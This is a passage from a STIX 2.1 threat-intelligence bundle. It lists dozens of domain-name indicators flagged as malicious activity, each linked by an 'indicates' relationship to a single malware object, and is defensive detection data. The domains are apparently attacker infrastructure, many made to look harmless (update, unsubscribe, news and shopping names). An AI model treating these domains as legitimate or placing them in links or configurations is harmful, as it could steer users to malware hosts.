["malicious-activity"], "pattern": "[domain-name:value='redirectshare.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.624799Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5dc2e0ce-9b58-49bf-a244-89ece8423932", "created": "2024-01-26T21:28:21.625182Z", "modified": "2024-01-26T21:28:21.625182Z", "relationship_type": "indicates", "source_ref": "indicator--38175400-9344-41e0-88c4-652621e5d8d8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c99ea339-b3a3-468a-bba6-eb18cbc01fa1", "created": "2024-01-26T21:28:21.625276Z", "modified": "2024-01-26T21:28:21.625276Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='downgradeproduct.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.625276Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--aed2f2d5-49aa-4a4e-80e0-31409abe1a9a", "created": "2024-01-26T21:28:21.625742Z", "modified": "2024-01-26T21:28:21.625742Z", "relationship_type": "indicates", "source_ref": "indicator--c99ea339-b3a3-468a-bba6-eb18cbc01fa1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8462ea76-858f-4502-a57d-c03fd3abd4a6", "created": "2024-01-26T21:28:21.625843Z", "modified": "2024-01-26T21:28:21.625843Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reload-url.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.625843Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--36e4d8d5-1df0-4101-9d8a-eccd4b31e393", "created": "2024-01-26T21:28:21.626224Z", "modified": "2024-01-26T21:28:21.626224Z", "relationship_type": "indicates", "source_ref": "indicator--8462ea76-858f-4502-a57d-c03fd3abd4a6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--35c4fe7c-d8f2-47e8-b3eb-40d8e66b7eab", "created": "2024-01-26T21:28:21.62632Z", "modified": "2024-01-26T21:28:21.62632Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='realmythtrend.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.62632Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ccb51699-aaf8-4b09-a03e-a8f21e650384", "created": "2024-01-26T21:28:21.626703Z", "modified": "2024-01-26T21:28:21.626703Z", "relationship_type": "indicates", "source_ref": "indicator--35c4fe7c-d8f2-47e8-b3eb-40d8e66b7eab", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f955d120-932f-441c-9250-7596ceb57025", "created": "2024-01-26T21:28:21.6268Z", "modified": "2024-01-26T21:28:21.6268Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='findgroupon.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.6268Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7b5e3ab1-7730-45a5-9630-4032995d5cb8", "created": "2024-01-26T21:28:21.627184Z", "modified": "2024-01-26T21:28:21.627184Z", "relationship_type": "indicates", "source_ref": "indicator--f955d120-932f-441c-9250-7596ceb57025", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--34492254-f016-4615-ba02-57ab6c2a816a", "created": "2024-01-26T21:28:21.627286Z", "modified": "2024-01-26T21:28:21.627286Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='web-domain.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.627286Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--ff49ebb5-f4d4-426d-8012-31d83ce31ea2", "created": "2024-01-26T21:28:21.627672Z", "modified": "2024-01-26T21:28:21.627672Z", "relationship_type": "indicates", "source_ref": "indicator--34492254-f016-4615-ba02-57ab6c2a816a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5872d9ca-9dca-4ec3-91d7-59a601acbcaa", "created": "2024-01-26T21:28:21.627768Z", "modified": "2024-01-26T21:28:21.627768Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='laptop-parts.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.627768Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bf736aff-3633-419c-87ef-a0d2ee869a14", "created": "2024-01-26T21:28:21.628153Z", "modified": "2024-01-26T21:28:21.628153Z", "relationship_type": "indicates", "source_ref": "indicator--5872d9ca-9dca-4ec3-91d7-59a601acbcaa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6141f3a2-cc35-4387-88f2-2fd019b26c21", "created": "2024-01-26T21:28:21.628248Z", "modified": "2024-01-26T21:28:21.628248Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='medical-updates.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.628248Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--558441fe-8398-4e67-b952-9abba2d24003", "created": "2024-01-26T21:28:21.628639Z", "modified": "2024-01-26T21:28:21.628639Z", "relationship_type": "indicates", "source_ref": "indicator--6141f3a2-cc35-4387-88f2-2fd019b26c21", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c014795a-67b8-4893-ad88-f18474294ff1", "created": "2024-01-26T21:28:21.628743Z", "modified": "2024-01-26T21:28:21.628743Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlsync.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.628743Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0c71a785-2bcc-4f06-ba05-4d25b447de34", "created": "2024-01-26T21:28:21.62912Z", "modified": "2024-01-26T21:28:21.62912Z", "relationship_type": "indicates", "source_ref": "indicator--c014795a-67b8-4893-ad88-f18474294ff1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9f8a979e-0037-4ec2-8766-a3d7087f1dd3", "created": "2024-01-26T21:28:21.629219Z", "modified": "2024-01-26T21:28:21.629219Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='deal4unow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.629219Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3ec5a909-f5e1-4da1-8495-adc94e011596", "created": "2024-01-26T21:28:21.629602Z", "modified": "2024-01-26T21:28:21.629602Z", "relationship_type": "indicates", "source_ref": "indicator--9f8a979e-0037-4ec2-8766-a3d7087f1dd3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4576fea5-ef03-4370-969a-d5ee6b2e8ac1", "created": "2024-01-26T21:28:21.629697Z", "modified": "2024-01-26T21:28:21.629697Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='appleleaveit.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.629697Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fbe9b2fe-c2d9-4afe-973e-fafed10423c5", "created": "2024-01-26T21:28:21.630367Z", "modified": "2024-01-26T21:28:21.630367Z", "relationship_type": "indicates", "source_ref": "indicator--4576fea5-ef03-4370-969a-d5ee6b2e8ac1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--52920843-479c-4b7d-9072-3958f0627761", "created": "2024-01-26T21:28:21.630466Z", "modified": "2024-01-26T21:28:21.630466Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='possibilitytotransfer.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.630466Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3c449e4e-8968-4ff9-814d-93fd0cd98ea7", "created": "2024-01-26T21:28:21.630867Z", "modified": "2024-01-26T21:28:21.630867Z", "relationship_type": "indicates", "source_ref": "indicator--52920843-479c-4b7d-9072-3958f0627761", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f2659369-67d8-44fd-9f2c-257e25cc7855", "created": "2024-01-26T21:28:21.630963Z", "modified": "2024-01-26T21:28:21.630963Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sharepassageset.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.630963Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5c053d1f-60a1-403c-863e-4dc7729a0492", "created": "2024-01-26T21:28:21.63135Z", "modified": "2024-01-26T21:28:21.63135Z", "relationship_type": "indicates", "source_ref": "indicator--f2659369-67d8-44fd-9f2c-257e25cc7855", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0cb7fe74-0f1b-420d-a259-ee69c21bab39", "created": "2024-01-26T21:28:21.631451Z", "modified": "2024-01-26T21:28:21.631451Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='url-configure.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.631451Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b439b504-d1c0-4a00-9448-24b540345502", "created": "2024-01-26T21:28:21.631834Z", "modified": "2024-01-26T21:28:21.631834Z", "relationship_type": "indicates", "source_ref": "indicator--0cb7fe74-0f1b-420d-a259-ee69c21bab39", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8548d309-6e8a-4e82-a76a-0d2050dad18d", "created": "2024-01-26T21:28:21.631933Z", "modified": "2024-01-26T21:28:21.631933Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='foodeveryhour.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.631933Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c56ffe5b-ea60-4a40-9566-b315ec7ff023", "created": "2024-01-26T21:28:21.63232Z", "modified": "2024-01-26T21:28:21.63232Z", "relationship_type": "indicates", "source_ref": "indicator--8548d309-6e8a-4e82-a76a-0d2050dad18d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--0c257fd6-5d8e-4ab1-b135-892ab733d6f5", "created": "2024-01-26T21:28:21.632419Z", "modified": "2024-01-26T21:28:21.632419Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='accountcanceled.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.632419Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--f6c6ff05-1695-4e36-82ef-56d39d6455b8", "created": "2024-01-26T21:28:21.632805Z", "modified": "2024-01-26T21:28:21.632805Z", "relationship_type": "indicates", "source_ref": "indicator--0c257fd6-5d8e-4ab1-b135-892ab733d6f5", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cf9bd6dc-fc38-45b0-90df-2b248017d674", "created": "2024-01-26T21:28:21.6329Z", "modified": "2024-01-26T21:28:21.6329Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='license-updater.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.6329Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1d264a8a-4d4c-4fb8-bfb2-74f5b9665a29", "created": "2024-01-26T21:28:21.63329Z", "modified": "2024-01-26T21:28:21.63329Z", "relationship_type": "indicates", "source_ref": "indicator--cf9bd6dc-fc38-45b0-90df-2b248017d674", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9ea4b5e1-f2f4-4841-ab98-eceb4b94e947", "created": "2024-01-26T21:28:21.633389Z", "modified": "2024-01-26T21:28:21.633389Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sweet-water.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.633389Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--82a23466-e9fd-444b-8e32-81692894c31f", "created": "2024-01-26T21:28:21.633772Z", "modified": "2024-01-26T21:28:21.633772Z", "relationship_type": "indicates", "source_ref": "indicator--9ea4b5e1-f2f4-4841-ab98-eceb4b94e947", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--82e2d2fb-10bb-4e28-a25a-27ee038978af", "created": "2024-01-26T21:28:21.633869Z", "modified": "2024-01-26T21:28:21.633869Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='unsubscribe-now.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.633869Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0906139a-4689-4325-a297-c8097372d821", "created": "2024-01-26T21:28:21.63425Z", "modified": "2024-01-26T21:28:21.63425Z", "relationship_type": "indicates", "source_ref": "indicator--82e2d2fb-10bb-4e28-a25a-27ee038978af", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d8c17727-a872-4f0d-bfb7-f006d21b9ca8", "created": "2024-01-26T21:28:21.634352Z", "modified": "2024-01-26T21:28:21.634352Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='ourperfume.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.634352Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--97426eff-c7c3-40a8-af40-0d6cb7d2c51f", "created": "2024-01-26T21:28:21.634733Z", "modified": "2024-01-26T21:28:21.634733Z", "relationship_type": "indicates", "source_ref": "indicator--d8c17727-a872-4f0d-bfb7-f006d21b9ca8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6002d897-53dd-479b-9f77-9382106cc66d", "created": "2024-01-26T21:28:21.634828Z", "modified": "2024-01-26T21:28:21.634828Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sputnik-news.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.634828Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7d3805d2-94f7-40d1-9f0e-d4ff2ac8adbf", "created": "2024-01-26T21:28:21.635298Z", "modified": "2024-01-26T21:28:21.635298Z", "relationship_type": "indicates", "source_ref": "indicator--6002d897-53dd-479b-9f77-9382106cc66d", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d68d8abb-da1a-4994-8bb9-f13f37018275", "created": "2024-01-26T21:28:21.635401Z", "modified": "2024-01-26T21:28:21.635401Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='urlupdates.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.635401Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--dfc23f84-2a2a-4b06-a269-9879bc1a78fb", "created": "2024-01-26T21:28:21.635785Z", "modified": "2024-01-26T21:28:21.635785Z", "relationship_type": "indicates", "source_ref": "indicator--d68d8abb-da1a-4994-8bb9-f13f37018275", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--684cf3e9-7a24-45aa-b567-d5d8f2422179", "created": "2024-01-26T21:28:21.635884Z", "modified": "2024-01-26T21:28:21.635884Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='appsgratis.com.mx']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.635884Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e65c75b6-93f3-402a-b87c-4a6457b9a1d7", "created": "2024-01-26T21:28:21.636272Z", "modified": "2024-01-26T21:28:21.636272Z", "relationship_type": "indicates", "source_ref": "indicator--684cf3e9-7a24-45aa-b567-d5d8f2422179", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ac39cb46-2c88-4be0-857d-1277bde352ca", "created": "2024-01-26T21:28:21.636367Z", "modified": "2024-01-26T21:28:21.636367Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='asrararablya.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.636367Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3ce9167e-24cd-43f3-b47d-4ecc18d8f1ff", "created": "2024-01-26T21:28:21.636748Z", "modified": "2024-01-26T21:28:21.636748Z", "relationship_type": "indicates", "source_ref": "indicator--ac39cb46-2c88-4be0-857d-1277bde352ca", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6866141d-107d-48a2-8183-016c4b76fb8a", "created": "2024-01-26T21:28:21.636844Z", "modified": "2024-01-26T21:28:21.636844Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='bestperfumesnow.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.636844Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fa6ecb3d-f6cc-4c40-94e9-d7ef829aa7e4", "created": "2024-01-26T21:28:21.637232Z", "modified": "2024-01-26T21:28:21.637232Z", "relationship_type": "indicates", "source_ref": "indicator--6866141d-107d-48a2-8183-016c4b76fb8a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8e698471-d8bc-4b4b-8fab-10066cc1bce6", "created": "2024-01-26T21:28:21.637326Z", "modified": "2024-01-26T21:28:21.637326Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='intim-media.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.637326Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--640a2eda-61e7-4910-a8fc-3f11d20604be", "created": "2024-01-26T21:28:21.637714Z", "modified": "2024-01-26T21:28:21.637714Z", "relationship_type": "indicates", "source_ref": "indicator--8e698471-d8bc-4b4b-8fab-10066cc1bce6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8d8208fa-2ecc-43dc-a11f-3b6690767336", "created": "2024-01-26T21:28:21.637814Z", "modified": "2024-01-26T21:28:21.637814Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mergeandcenter.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.637814Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--90e25d1c-e5e7-4f6f-b745-0c518747bc7a", "created": "2024-01-26T21:28:21.638195Z", "modified": "2024-01-26T21:28:21.638195Z", "relationship_type": "indicates", "source_ref": "indicator--8d8208fa-2ecc-43dc-a11f-3b6690767336", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b8611ee3-af79-4a06-851f-fc65dbea2d19", "created": "2024-01-26T21:28:21.638291Z", "modified": "2024-01-26T21:28:21.638291Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='webpageupdate.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.638291Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8b259c3e-8e44-4575-b319-1fe3230d242b", "created": "2024-01-26T21:28:21.638674Z", "modified": "2024-01-26T21:28:21.638674Z", "relationship_type": "indicates", "source_ref": "indicator--b8611ee3-af79-4a06-851f-fc65dbea2d19", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--37fa65d6-1292-43d0-a24a-4803c2a3a48b", "created": "2024-01-26T21:28:21.63877Z", "modified": "2024-01-26T21:28:21.63877Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='reachcomputer.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.63877Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--117196d4-a09c-481f-9cc6-9d88c052e6ca", "created": "2024-01-26T21:28:21.639155Z", "modified": "2024-01-26T21:28:21.639155Z", "relationship_type": "indicates", "source_ref": "indicator--37fa65d6-1292-43d0-a24a-4803c2a3a48b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dd521ae2-b758-4eb9-8e8a-6f241f921af7", "created": "2024-01-26T21:28:21.639252Z", "modified": "2024-01-26T21:28:21.639252Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mysuperheadphones.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.639252Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--9790c588-cbfe-4a25-8480-d80381c33727", "created": "2024-01-26T21:28:21.639722Z", "modified": "2024-01-26T21:28:21.639722Z", "relationship_type": "indicates", "source_ref": "indicator--dd521ae2-b758-4eb9-8e8a-6f241f921af7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6d6c0bc9-1122-4d4f-8393-a33809f2846a", "created": "2024-01-26T21:28:21.639822Z", "modified": "2024-01-26T21:28:21.639822Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='growstart.net']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.639822Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--2438419f-3212-459d-ac91-b0b9aefce9cc", "created": "2024-01-26T21:28:21.640199Z", "modified": "2024-01-26T21:28:21.640199Z", "relationship_type": "indicates", "source_ref": "indicator--6d6c0bc9-1122-4d4f-8393-a33809f2846a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--039aaa23-15c7-4e5b-9bec-a89859ed475c", "created": "2024-01-26T21:28:21.640296Z", "modified": "2024-01-26T21:28:21.640296Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dancinglife.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.640296Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bd60b44d-57d2-42be-86ce-a2ce3d582632", "created": "2024-01-26T21:28:21.640675Z", "modified": "2024-01-26T21:28:21.640675Z", "relationship_type": "indicates", "source_ref": "indicator--039aaa23-15c7-4e5b-9bec-a89859ed475c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5ad9342a-aa27-47a6-b0d5-871ec420e302", "created": "2024-01-26T21:28:21.640771Z", "modified": "2024-01-26T21:28:21.640771Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='functionalcover.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.640771Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--37fc36a2-19e3-433e-8acb-4f2235907e76", "created": "2024-01-26T21:28:21.641159Z", "modified": "2024-01-26T21:28:21.641159Z", "relationship_type": "indicates", "source_ref": "indicator--5ad9342a-aa27-47a6-b0d5-871ec420e302", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6de689c4-50ad-4db3-bb8e-b483bfb666d9", "created": "2024-01-26T21:28:21.641258Z", "modified": "2024-01-26T21:28:21.641258Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='businesssupportme.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.641258Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d3d083e5-edfb-4703-9f8f-d0f93b4ae1d4", "created": "2024-01-26T21:28:21.641649Z", "modified": "2024-01-26T21:28:21.641649Z", "relationship_type": "indicates", "source_ref": "indicator--6de689c4-50ad-4db3-bb8e-b483bfb666d9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--502fc815-8b99-42db-8794-1813462492b3", "created": "2024-01-26T21:28:21.641744Z", "modified": "2024-01-26T21:28:21.641744Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='eliminateadjust.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.641744Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8d316060-0a94-4e72-8129-b53177e10a20", "created": "2024-01-26T21:28:21.64213Z", "modified": "2024-01-26T21:28:21.64213Z", "relationship_type": "indicates", "source_ref": "indicator--502fc815-8b99-42db-8794-1813462492b3", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e004737d-5512-43fe-9568-6ebd2afa22c8", "created": "2024-01-26T21:28:21.642225Z", "modified": "2024-01-26T21:28:21.642225Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='islam-today.info']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.642225Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--37dee5b6-108f-44a2-994a-dfa1d0375403", "created": "2024-01-26T21:28:21.64261Z", "modified": "2024-01-26T21:28:21.64261Z", "relationship_type": "indicates", "source_ref": "indicator--e004737d-5512-43fe-9568-6ebd2afa22c8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--49269e02-709d-49fe-b1fe-42fdc5e89387", "created": "2024-01-26T21:28:21.642707Z", "modified": "2024-01-26T21:28:21.642707Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='dnsroof.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.642707Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--e2a64998-816d-49c3-a573-2f810e317289", "created": "2024-01-26T21:28:21.643088Z", "modified": "2024-01-26T21:28:21.643088Z", "relationship_type": "indicates", "source_ref": "indicator--49269e02-709d-49fe-b1fe-42fdc5e89387", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--5362b80f-8458-4360-9165-3ab21285a6cc", "created": "2024-01-26T21:28:21.643186Z", "modified": "2024-01-26T21:28:21.643186Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='mobile-softs.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.643186Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--1ae4494e-3366-4e78-ad71-8641c0238609", "created": "2024-01-26T21:28:21.643571Z", "modified": "2024-01-26T21:28:21.643571Z", "relationship_type": "indicates", "source_ref": "indicator--5362b80f-8458-4360-9165-3ab21285a6cc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6996bdd0-1bd3-4812-bfb5-9f41150fa6a9", "created": "2024-01-26T21:28:21.643667Z", "modified": "2024-01-26T21:28:21.643667Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='yourbestvaca.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.643667Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--09af4366-6a45-44b5-8381-12b46f4f2d2d", "created": "2024-01-26T21:28:21.644129Z", "modified": "2024-01-26T21:28:21.644129Z", "relationship_type": "indicates", "source_ref": "indicator--6996bdd0-1bd3-4812-bfb5-9f41150fa6a9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--fe42871b-76ed-4ffe-8421-d1f695f8fd81", "created": "2024-01-26T21:28:21.644228Z", "modified": "2024-01-26T21:28:21.644228Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='levelsteelwhite.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": 